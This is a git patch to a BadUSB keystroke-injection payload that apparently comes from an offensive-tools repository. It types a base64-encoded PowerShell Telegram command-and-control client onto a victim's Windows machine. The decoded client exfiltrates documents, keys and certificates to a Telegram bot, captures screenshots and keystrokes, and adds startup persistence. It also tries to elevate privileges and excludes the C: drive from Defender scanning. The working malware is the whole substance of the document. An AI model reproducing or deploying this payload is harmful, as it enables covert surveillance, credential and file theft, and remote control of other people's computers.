From ce6923d66d858c6625ae12697b5c89d2c5fd4f5f Mon Sep 17 00:00:00 2001 From: beigeworm <93350544+beigeworm@users.noreply.github.com> Date: Fri, 15 Sep 2023 13:08:41 +0100 Subject: [PATCH] Update Telegram-C2-Client-from-Base64 .txt --- OSINT/Telegram-C2-Client-from-Base64 .txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/OSINT/Telegram-C2-Client-from-Base64 .txt b/OSINT/Telegram-C2-Client-from-Base64 .txt index 4b58a75..9175119 100644 --- a/OSINT/Telegram-C2-Client-from-Base64 .txt +++ b/OSINT/Telegram-C2-Client-from-Base64 .txt @@ -26,7 +26,7 @@ DELAY 5000 STRING '$tg = "TELEGRAM_BOT_API_TOKEN_HERE"' | Out-File -FilePath "$env:temp/a.ps1" -Force ENTER -STRING $b64 = 'IyBEZWZpbmUgVXNlciBWYXJpYWJsZXMNCiRUb2tlbiA9ICIkdGciICAjIFJFUExBQ0UgJHRnIHdpdGggWW91ciBUZWxlZ3JhbSBCb3QgVG9rZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojIERlZmluZSBDb25uZWN0aW9uIFZhcmlhYmxlcw0KJFBhc3NQaHJhc2UgPSAiJGVudjpDT01QVVRFUk5BTUUiICMgJ3Bhc3N3b3JkJyBmb3IgdGhpcyBjb25uZWN0aW9uIChjb21wdXRlcm5hbWUgYnkgZGVmYXVsdCkNCiRnbG9iYWw6ZXJyb3Jtc2cgPSAwICMgMSA9IHJldHVybiBlcnJvciBtZXNzYWdlcyB0byBjaGF0IChvZmYgYnkgZGVmYXVsdCkNCiRwYXJlbnQgPSAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2JlaWdld29ybS9Qb3dlcnNoZWxsLVRvb2xzLWFuZC1Ub3lzL21haW4vQ29tbWFuZC1hbmQtQ29udHJvbC9UZWxlZ3JhbS1DMi1DbGllbnQucHMxIiAjIHBhcmVudCBzY3JpcHQgVVJMIChmb3IgcmVzdGFydHMgYW5kIHBlcnNpc3RhbmNlKQ0KJEFjY2VwdGVkU2Vzc2lvbj0iIg0KJExhc3RVbkF1dGhlbnRpY2F0ZWRNZXNzYWdlPSIiDQokbGFzdGV4ZWNNZXNzYWdlSUQ9IiINCiMgRW1vamkgY2hhcmFjdGVycw0KJHRpY2sgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgyNzA1KQ0KJGNvbXAgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjRCQikNCiRjbG9zZWQgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgyNzRDKQ0KJHdhaXRpbmcgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjU1QykNCiRnbGFzcyA9IFtjaGFyXTo6Q29udmVydEZyb21VdGYzMigweDFGNTBEKQ0KJGNtZGUgPSBbY2hhcl06OkNvbnZlcnRGcm9tVXRmMzIoMHgxRjUxNykNCiRwYXVzZSA9IFtjaGFyXTo6Q29udmVydEZyb21VdGYzMigweDIzRjgpDQojIHJlbW92ZSBwYXVzZSBmaWxlcw0KaWYoVGVzdC1QYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcdGVtcC5wczEiKXtybSAtcGF0aCAiJGVudjpBUFBEQVRBXE1pY3Jvc29mdFxXaW5kb3dzXHRlbXAucHMxIiAtRm9yY2V9DQppZihUZXN0LVBhdGggIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1x0ZW1wLnZicyIpe3JtIC1wYXRoICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcdGVtcC52YnMiIC1Gb3JjZX0NCiMgU3RhcnR1cCBEZWxheQ0KU2xlZXAgNQ0KaWYoVGVzdC1QYXRoICJDOlxXaW5kb3dzXFRhc2tzXHNlcnZpY2UudmJzIil7cm0gLXBhdGggIkM6XFdpbmRvd3NcVGFza3Ncc2VydmljZS52YnMiIC1Gb3JjZX0NCiMgR2V0IENoYXQgSUQgZnJvbSB0aGUgYm90DQokYXBpVXJsID0gImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZE1lc3NhZ2UiDQokVVJMID0gJ2h0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3R7MH0nIC1mICRUb2tlbg0KJHVwZGF0ZXMgPSBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICgkdXJsICsgIi9nZXRVcGRhdGVzIikNCmlmICgkdXBkYXRlcy5vayAtZXEgJHRydWUpIHskbGF0ZXN0VXBkYXRlID0gJHVwZGF0ZXMucmVzdWx0Wy0xXQ0KaWYgKCRsYXRlc3RVcGRhdGUubWVzc2FnZSAtbmUgJG51bGwpeyRjaGF0SUQgPSAkbGF0ZXN0VXBkYXRlLm1lc3NhZ2UuY2hhdC5pZDtXcml0ZS1Ib3N0ICJDaGF0IElEOiAkY2hhdElEIn19DQokTXRzID0gTmV3LU9iamVjdCBwc29iamVjdCANCiRNdHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSAnY2hhdF9pZCcgLVZhbHVlICRDaGF0SUQNCiMgQ29sbGVjdCBzY3JpcHQgY29udGVudHMNCiRzY3JpcHREaXJlY3RvcnkgPSBHZXQtQ29udGVudCAtcGF0aCAkTXlJbnZvY2F0aW9uLk15Q29tbWFuZC5OYW1lIC1SYXcNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBPTiBTVEFSVCAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWVzc2FnZSB3YWl0aW5nIGZvciBwYXNzcGhyYXNlDQokY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJHdhaXRpbmcgV2FpdGluZyB0byBDb25uZWN0Li4iDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIEFDVElPTiBGVU5DVElPTlMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpGdW5jdGlvbiBPcHRpb25zew0KJGNvbnRlbnRzID0gIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCj09PT09PT09PSAkY29tcCBUZWxlZ3JhbSBDMiBPcHRpb25zIExpc3QgJGNvbXAgPT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCj09PT09PT09PT09PT0gJGNtZGUgQ29tbWFuZHMgTGlzdCAkY21kZSA9PT09PT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KQ2xvc2UgICA6IENsb3NlIHRoaXMgU2Vzc2lvbg0KRXh0cmEtSW5mbyAgICA6IEV4dHJhIGNvbW1hbmRzIGluZm9ybWF0aW9uDQpQYXVzZS1TZXNzaW9uICAgOiBLaWxscyB0aGlzIHNlc3Npb24gYW5kIHJlc3RhcnRzDQpUb2dnbGUtRXJyb3JzICAgIDogVG9nZ2xlIGVycm9yIG1lc3NhZ2VzIHRvIGNoYXQNCkZvbGRlci1UcmVlICAgIDogR2V0cyBEaXIgdHJlZSBhbmQgc2VuZHMgaXQgemlwcGVkDQpTY3JlZW5zaG90ICAgOiBTZW5kcyBhIHNjcmVlbnNob3Qgb2YgdGhlIGRlc2t0b3ANCktleS1DYXB0dXJlICAgIDogQ2FwdHVyZSBLZXlzdHJva2VzIGFuZCBzZW5kDQpFeGZpbHRyYXRlICAgOiBTZW5kcyBmaWxlcyAoc2VlIGJlbG93IGZvciBpbmZvKQ0KVXBsb2FkICAgICAgOiBVcGxvYWRzIGEgc3BlY2lmaWMgZmlsZSAodXNlIC1wYXRoKQ0KU3lzdGVtLUluZm8gICA6IFNlbmQgU3lzdGVtIGluZm8gYXMgdGV4dCBmaWxlDQpTb2Z0d2FyZS1JbmZvICAgOiBTZW5kIFNvZnR3YXJlIGluZm8gYXMgdGV4dCBmaWxlDQpIaXN0b3J5LUluZm8gICA6IFNlbmQgSGlzdG9yeSBpbmZvIGFzIHRleHQgZmlsZQ0KQWRkLVBlcnNpc3RhbmNlICAgOiBBZGQgVGVsZWdyYW0gQzIgdG8gU3RhcnR1cA0KUmVtb3ZlLVBlcnNpc3RhbmNlICAgOiBSZW1vdmUgU3RhcnR1cCBQZXJzaXN0YW5jZQ0KSXMtQWRtaW4gICA6IENoZWNrcyBpZiBzZXNzaW9uIGhhcyBhZG1pbiBQcml2aWxlZ2VzDQpBdHRlbXB0LUVsZXZhdGUgIDogU2VuZCB1c2VyIGEgcHJvbXB0IHRvIGdhaW4gQWRtaW4NCk1lc3NhZ2UgICA6IFNlbmQgYSBtZXNzYWdlIHRvIGNvbm5lY3RlZCBjb21wdXRlcg0KS2lsbCAgICA6IEtpbGxzd2l0Y2ggZm9yICdLZXktQ2FwdHVyZScgYW5kICdFeGZpbHRyYXRlJyANCioqQURNSU4gT05MWSBGVU5DVElPTlMqKg0KRGlzYWJsZS1BViAgIDogQXR0ZW1wdCB0byBleGNsdWRlIEM6LyBmcm9tIERlZmVuZGVyDQpEaXNhYmxlLUhJRCAgIDogRGlzYWJsZSBNaWNlIGFuZCBLZXlib2FyZHMNCkVuYWJsZS1ISUQgICAgOiBFbmFibGUgTWljZSBhbmQgS2V5Ym9hcmRzDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQp9DQoNCkZ1bmN0aW9uIEV4dHJhLUluZm97DQokY29udGVudHMgPSAiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KPT09PT09PT09PT09ICRnbGFzcyBFeGFtcGxlcyBhbmQgSW5mbyAkZ2xhc3MgPT09PT09PT09PT0NCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KPT09PT09PT09ICBFeGZpbHRyYXRlIENvbW1hbmQgRXhhbXBsZXMgPT09PT09PT09PQ0KKCBQU2A+IEV4ZmlsdHJhdGUgLVBhdGggRG9jdW1lbnRzIC1GaWxldHlwZSBwbmcgKQ0KKCBQU2A+IEV4ZmlsdHJhdGUgLUZpbGV0eXBlIGxvZyApDQooIFBTYD4gRXhmaWx0cmF0ZSApDQpFeGZpbHRyYXRlIG9ubHkgd2lsbCBzZW5kIG1hbnkgcHJlLWRlZmluZWQgZmlsZXR5cGVzDQpmcm9tIGFsbCBVc2VyIEZvbGRlcnMgbGlrZSBEb2N1bWVudHMsIERvd25sb2FkcyBldGMuLg0KDQpQQVRIDQpEb2N1bWVudHMsIERlc2t0b3AsIERvd25sb2FkcywNCk9uZURyaXZlLCBQaWN0dXJlcywgVmlkZW9zLg0KRklMRVRZUEUNCmxvZywgZGIsIHR4dCwgZG9jLCBwZGYsIGpwZywganBlZywgcG5nLA0Kd2RvYywgeGRvYywgY2VyLCBrZXksIHhscywgeGxzeCwNCmNmZywgY29uZiwgZG9jeCwgcmZ0Lg0KDQo9PT09PT09PT09ICBVcGxvYWQgQ29tbWFuZCBFeGFtcGxlcyA9PT09PT09PT09PQ0KKFBTYD4gVXBsb2FkIC1QYXRoIEM6L1BhdGgvVG8vRmlsZS50eHQpDQpVc2UgJ0ZvbGRlci1UcmVlJyBjb21tYW5kIHRvIHNob3cgYWxsIGZpbGVzDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyB8IE91dC1OdWxsDQp9DQoNCkZ1bmN0aW9uIENsb3Nlew0KJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICRjbG9zZWQgQ29ubmVjdGlvbiBDbG9zZWQiDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcw0Kcm0gLVBhdGggIiRlbnY6dGVtcC90Z2MyLnR4dCIgLUZvcmNlDQpleGl0DQp9DQoNCkZ1bmN0aW9uIFVwbG9hZHsNCnBhcmFtIChbc3RyaW5nW11dJFBhdGgpDQppZiAoVGVzdC1QYXRoIC1QYXRoICRwYXRoKXsNCiAgICAkZXh0ZW5zaW9uID0gW1N5c3RlbS5JTy5QYXRoXTo6R2V0RXh0ZW5zaW9uKCRwYXRoKQ0KICAgIGlmICgkZXh0ZW5zaW9uIC1lcSAiLmV4ZSIgLW9yICRleHRlbnNpb24gLWVxICIubXNpIikgew0KICAgICAgICAkdGVtcFppcEZpbGVQYXRoID0gW1N5c3RlbS5JTy5QYXRoXTo6Q29tYmluZShbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpLCBbU3lzdGVtLklPLlBhdGhdOjpHZXRGaWxlTmFtZSgkcGF0aCkpDQogICAgICAgIEFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLklPLkNvbXByZXNzaW9uLkZpbGVTeXN0ZW0NCiAgICAgICAgW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5aaXBGaWxlXTo6Q3JlYXRlRnJvbURpcmVjdG9yeSgkcGF0aCwgJHRlbXBaaXBGaWxlUGF0aCkNCiAgICAgICAgY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkdGVtcFppcEZpbGVQYXRoIiAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kRG9jdW1lbnQiIHwgT3V0LU51bGwNCiAgICAgICAgV3JpdGUtT3V0cHV0ICJGaWxlIFVwbG9hZCBDb21wbGV0ZTogJHBhdGgiDQogICAgICAgIFJtIC1QYXRoICR0ZW1wWmlwRmlsZVBhdGggLVJlY3Vyc2UgLUZvcmNlDQogICAgfWVsc2V7DQogICAgICAgIGN1cmwuZXhlIC1GIGNoYXRfaWQ9IiRDaGF0SUQiIC1GIGRvY3VtZW50PUAiJFBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgfCBPdXQtTnVsbA0KICAgICAgICBXcml0ZS1PdXRwdXQgIkZpbGUgVXBsb2FkIENvbXBsZXRlOiAkcGF0aCINCiAgICAgICAgUm0gLVBhdGggJHRlbXBaaXBGaWxlUGF0aCAtUmVjdXJzZSAtRm9yY2UNCiAgICB9DQp9ZWxzZXtXcml0ZS1Ib3N0ICJGaWxlIE5vdCBGb3VuZDogJHBhdGgifQ0KfQ0KDQpGdW5jdGlvbiBFeGZpbHRyYXRlIHsNCnBhcmFtIChbc3RyaW5nW11dJEZpbGVUeXBlLFtzdHJpbmdbXV0kUGF0aCkNCiRtYXhaaXBGaWxlU2l6ZSA9IDUwTUINCiRjdXJyZW50WmlwU2l6ZSA9IDANCiRpbmRleCA9IDENCiR6aXBGaWxlUGF0aCA9IiRlbnY6dGVtcC9Mb290JGluZGV4LnppcCINCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBFeGZpbHRyYXRpb24gU3RhcnRlZC4uIChTdG9wIHdpdGggS2lsbHN3aXRjaCkiDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyAgfCBPdXQtTnVsbA0KSWYoJFBhdGggLW5lICRudWxsKXskZm9sZGVyc1RvU2VhcmNoID0gIiRlbnY6VVNFUlBST0ZJTEVcIiskUGF0aH0NCmVsc2V7JGZvbGRlcnNUb1NlYXJjaCA9IEAoIiRlbnY6VVNFUlBST0ZJTEVcRG9jdW1lbnRzIiwiJGVudjpVU0VSUFJPRklMRVxEZXNrdG9wIiwiJGVudjpVU0VSUFJPRklMRVxEb3dubG9hZHMiLCIkZW52OlVTRVJQUk9GSUxFXE9uZURyaXZlIiwiJGVudjpVU0VSUFJPRklMRVxQaWN0dXJlcyIsIiRlbnY6VVNFUlBST0ZJTEVcVmlkZW9zIil9DQpJZigkRmlsZVR5cGUgLW5lICRudWxsKXskZmlsZUV4dGVuc2lvbnMgPSAiKi4iKyRGaWxlVHlwZX0NCmVsc2UgeyRmaWxlRXh0ZW5zaW9ucyA9IEAoIioubG9nIiwgIiouZGIiLCAiKi50eHQiLCAiKi5kb2MiLCAiKi5wZGYiLCAiKi5qcGciLCAiKi5qcGVnIiwgIioucG5nIiwgIioud2RvYyIsICIqLnhkb2MiLCAiKi5jZXIiLCAiKi5rZXkiLCAiKi54bHMiLCAiKi54bHN4IiwgIiouY2ZnIiwgIiouY29uZiIsICIqLmRvY3giLCAiKi5yZnQiKX0NCkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLklPLkNvbXByZXNzaW9uLkZpbGVTeXN0ZW0NCiR6aXBBcmNoaXZlID0gW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5aaXBGaWxlXTo6T3BlbigkemlwRmlsZVBhdGgsICdDcmVhdGUnKQ0KJGVzY21zZyA9ICJGaWxlcyBmcm9tIDogIiskZW52OkNPTVBVVEVSTkFNRQ0KZm9yZWFjaCAoJGZvbGRlciBpbiAkZm9sZGVyc1RvU2VhcmNoKSB7DQogICAgZm9yZWFjaCAoJGV4dGVuc2lvbiBpbiAkZmlsZUV4dGVuc2lvbnMpIHsNCiAgICAgICAgJGZpbGVzID0gR2V0LUNoaWxkSXRlbSAtUGF0aCAkZm9sZGVyIC1GaWx0ZXIgJGV4dGVuc2lvbiAtRmlsZSAtUmVjdXJzZQ0KICAgICAgICBmb3JlYWNoICgkZmlsZSBpbiAkZmlsZXMpIHsNCiAgICAgICAgICAgICRmaWxlU2l6ZSA9ICRmaWxlLkxlbmd0aA0KICAgICAgICAgICAgaWYgKCRjdXJyZW50WmlwU2l6ZSArICRmaWxlU2l6ZSAtZ3QgJG1heFppcEZpbGVTaXplKSB7DQogICAgICAgICAgICAgICAgJHppcEFyY2hpdmUuRGlzcG9zZSgpDQogICAgICAgICAgICAgICAgJGN1cnJlbnRaaXBTaXplID0gMA0KICAgICAgICAgICAgICAgIGN1cmwuZXhlIC1GIGNoYXRfaWQ9IiRDaGF0SUQiIC1GIGRvY3VtZW50PUAiJHppcEZpbGVQYXRoIiAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kRG9jdW1lbnQiDQogICAgICAgICAgICAgICAgUmVtb3ZlLUl0ZW0gLVBhdGggJHppcEZpbGVQYXRoIC1Gb3JjZQ0KICAgICAgICAgICAgICAgIFNsZWVwIDENCiAgICAgICAgICAgICAgICAkaW5kZXgrKw0KICAgICAgICAgICAgICAgICR6aXBGaWxlUGF0aCA9IiRlbnY6dGVtcC9Mb290JGluZGV4LnppcCINCiAgICAgICAgICAgICAgICAkemlwQXJjaGl2ZSA9IFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uWmlwRmlsZV06Ok9wZW4oJHppcEZpbGVQYXRoLCAnQ3JlYXRlJykNCiAgICAgICAgICAgICAgICAkbWVzc2FnZXM9UmVjZWl2ZU1TRw0KICAgICAgICAgICAgICAgICAgICBpZiAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtY29udGFpbnMgImtpbGwiKSB7DQogICAgICAgICAgICAgICAgICAgICRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkY2xvc2VkIEV4ZmlsdHJhdGlvbiBLaWxsZWQiDQogICAgICAgICAgICAgICAgICAgICRwYXJhbXMgPSBAe2NoYXRfaWQgPSAkQ2hhdElEIDt0ZXh0ID0gJGNvbnRlbnRzfQ0KICAgICAgICAgICAgICAgICAgICBJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMNCiAgICAgICAgICAgICAgICAgICAgYnJlYWsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkZW50cnlOYW1lID0gJGZpbGUuRnVsbE5hbWUuU3Vic3RyaW5nKCRmb2xkZXIuTGVuZ3RoICsgMSkNCiAgICAgICAgICAgICAgICBbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVFeHRlbnNpb25zXTo6Q3JlYXRlRW50cnlGcm9tRmlsZSgkemlwQXJjaGl2ZSwgJGZpbGUuRnVsbE5hbWUsICRlbnRyeU5hbWUpDQogICAgICAgICAgICAgICAgJGN1cnJlbnRaaXBTaXplICs9ICRmaWxlU2l6ZQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KJHppcEFyY2hpdmUuRGlzcG9zZSgpDQpjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiR6aXBGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiAgfCBPdXQtTnVsbA0Kcm0gLVBhdGggJHppcEZpbGVQYXRoIC1Gb3JjZQ0KJGNvbnRlbnRzID0gIiRlbnY6Q09NUFVURVJOQU1FICR0aWNrIEV4ZmlsdHJhdGlvbiBDb21wbGV0ZSEiDQokcGFyYW1zID0gQHtjaGF0X2lkID0gJENoYXRJRCA7dGV4dCA9ICRjb250ZW50c30NCkludm9rZS1SZXN0TWV0aG9kIC1VcmkgJGFwaVVybCAtTWV0aG9kIFBPU1QgLUJvZHkgJHBhcmFtcyAgfCBPdXQtTnVsbA0KfQ0KDQoNCkZ1bmN0aW9uIFNjcmVlbnNob3R7DQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5XaW5kb3dzLkZvcm1zDQokc2NyZWVuID0gW1N5c3RlbS5XaW5kb3dzLkZvcm1zLlN5c3RlbUluZm9ybWF0aW9uXTo6VmlydHVhbFNjcmVlbg0KJGJpdG1hcCA9IE5ldy1PYmplY3QgRHJhd2luZy5CaXRtYXAgJHNjcmVlbi5XaWR0aCwgJHNjcmVlbi5IZWlnaHQNCiRncmFwaGljcyA9IFtTeXN0ZW0uRHJhd2luZy5HcmFwaGljc106OkZyb21JbWFnZSgkYml0bWFwKQ0KJGdyYXBoaWNzLkNvcHlGcm9tU2NyZWVuKCRzY3JlZW4uTGVmdCwgJHNjcmVlbi5Ub3AsIDAsIDAsICRzY3JlZW4uU2l6ZSkNCiRmaWxlUGF0aCA9ICIkZW52OnRlbXBcc2MucG5nIg0KJGJpdG1hcC5TYXZlKCRmaWxlUGF0aCwgW1N5c3RlbS5EcmF3aW5nLkltYWdpbmcuSW1hZ2VGb3JtYXRdOjpQbmcpDQokZ3JhcGhpY3MuRGlzcG9zZSgpDQokYml0bWFwLkRpc3Bvc2UoKQ0KY3VybC5leGUgLUYgY2hhdF9pZD0iJENoYXRJRCIgLUYgZG9jdW1lbnQ9QCIkZmlsZVBhdGgiICJodHRwczovL2FwaS50ZWxlZ3JhbS5vcmcvYm90JFRva2VuL3NlbmREb2N1bWVudCIgfCBPdXQtTnVsbA0KUmVtb3ZlLUl0ZW0gLVBhdGggJGZpbGVQYXRoDQp9DQoNCkZ1bmN0aW9uIEtleS1DYXB0dXJlIHsNCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBLZXlDYXB0dXJlIFN0YXJ0ZWQuLiAoU3RvcCB3aXRoIEtpbGxzd2l0Y2gpIg0KJHBhcmFtcyA9IEB7Y2hhdF9pZCA9ICRDaGF0SUQgO3RleHQgPSAkY29udGVudHN9DQpJbnZva2UtUmVzdE1ldGhvZCAtVXJpICRhcGlVcmwgLU1ldGhvZCBQT1NUIC1Cb2R5ICRwYXJhbXMNCiRBUEkgPSAnW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvLCBFeGFjdFNwZWxsaW5nPXRydWUpXSBwdWJsaWMgc3RhdGljIGV4dGVybiBzaG9ydCBHZXRBc3luY0tleVN0YXRlKGludCB2aXJ0dWFsS2V5Q29kZSk7IFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0PUNoYXJTZXQuQXV0byldcHVibGljIHN0YXRpYyBleHRlcm4gaW50IEdldEtleWJvYXJkU3RhdGUoYnl0ZVtdIGtleXN0YXRlKTtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8pXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBNYXBWaXJ0dWFsS2V5KHVpbnQgdUNvZGUsIGludCB1TWFwVHlwZSk7W0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvKV1wdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgVG9Vbmljb2RlKHVpbnQgd1ZpcnRLZXksIHVpbnQgd1NjYW5Db2RlLCBieXRlW10gbHBrZXlzdGF0ZSwgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlciBwd3N6QnVmZiwgaW50IGNjaEJ1ZmYsIHVpbnQgd0ZsYWdzKTsnDQokQVBJID0gQWRkLVR5cGUgLU1lbWJlckRlZmluaXRpb24gJEFQSSAtTmFtZSAnV2luMzInIC1OYW1lc3BhY2UgQVBJIC1QYXNzVGhydQ0KJExhc3RLZXlwcmVzc1RpbWUgPSBbU3lzdGVtLkRpYWdub3N0aWNzLlN0b3B3YXRjaF06OlN0YXJ0TmV3KCkNCiRLZXlwcmVzc1RocmVzaG9sZCA9IFtUaW1lU3Bhbl06OkZyb21TZWNvbmRzKDEwKQ0KV2hpbGUgKCR0cnVlKXsNCiAgICAka2V5UHJlc3NlZCA9ICRmYWxzZQ0KICAgIHRyeXsNCiAgICB3aGlsZSAoJExhc3RLZXlwcmVzc1RpbWUuRWxhcHNlZCAtbHQgJEtleXByZXNzVGhyZXNob2xkKSB7DQogICAgICAgIFN0YXJ0LVNsZWVwIC1NaWxsaXNlY29uZHMgMzANCiAgICAgICAgZm9yICgkYXNjID0gODsgJGFzYyAtbGUgMjU0OyAkYXNjKyspew0KICAgICAgICAka2V5c3QgPSAkQVBJOjpHZXRBc3luY0tleVN0YXRlKCRhc2MpDQogICAgICAgICAgICBpZiAoJGtleXN0IC1lcSAtMzI3NjcpIHsNCiAgICAgICAgICAgICRrZXlQcmVzc2VkID0gJHRydWUNCiAgICAgICAgICAgICRMYXN0S2V5cHJlc3NUaW1lLlJlc3RhcnQoKQ0KICAgICAgICAgICAgJG51bGwgPSBbY29uc29sZV06OkNhcHNMb2NrDQogICAgICAgICAgICAkdnRrZXkgPSAkQVBJOjpNYXBWaXJ0dWFsS2V5KCRhc2MsIDMpDQogICAgICAgICAgICAka2JzdCA9IE5ldy1PYmplY3QgQnl0ZVtdIDI1Ng0KICAgICAgICAgICAgJGNoZWNra2JzdCA9ICRBUEk6OkdldEtleWJvYXJkU3RhdGUoJGtic3QpDQogICAgICAgICAgICAkbG9nY2hhciA9IE5ldy1PYmplY3QgLVR5cGVOYW1lIFN5c3RlbS5UZXh0LlN0cmluZ0J1aWxkZXIgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYgKCRBUEk6OlRvVW5pY29kZSgkYXNjLCAkdnRrZXksICRrYnN0LCAkbG9nY2hhciwgJGxvZ2NoYXIuQ2FwYWNpdHksIDApKSB7DQogICAgICAgICAgICAgICAgJExTdHJpbmcgPSAkbG9nY2hhci5Ub1N0cmluZygpDQogICAgICAgICAgICAgICAgICAgIGlmICgkYXNjIC1lcSA4KSB7JExTdHJpbmcgPSAiW0JLU1BdIn0NCiAgICAgICAgICAgICAgICAgICAgaWYgKCRhc2MgLWVxIDEzKSB7JExTdHJpbmcgPSAiW0VOVF0ifQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJGFzYyAtZXEgMjcpIHskTFN0cmluZyA9ICJbRVNDXSJ9DQogICAgICAgICAgICAgICAgICAgICRub3NhdmUgKz0gJExTdHJpbmcgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9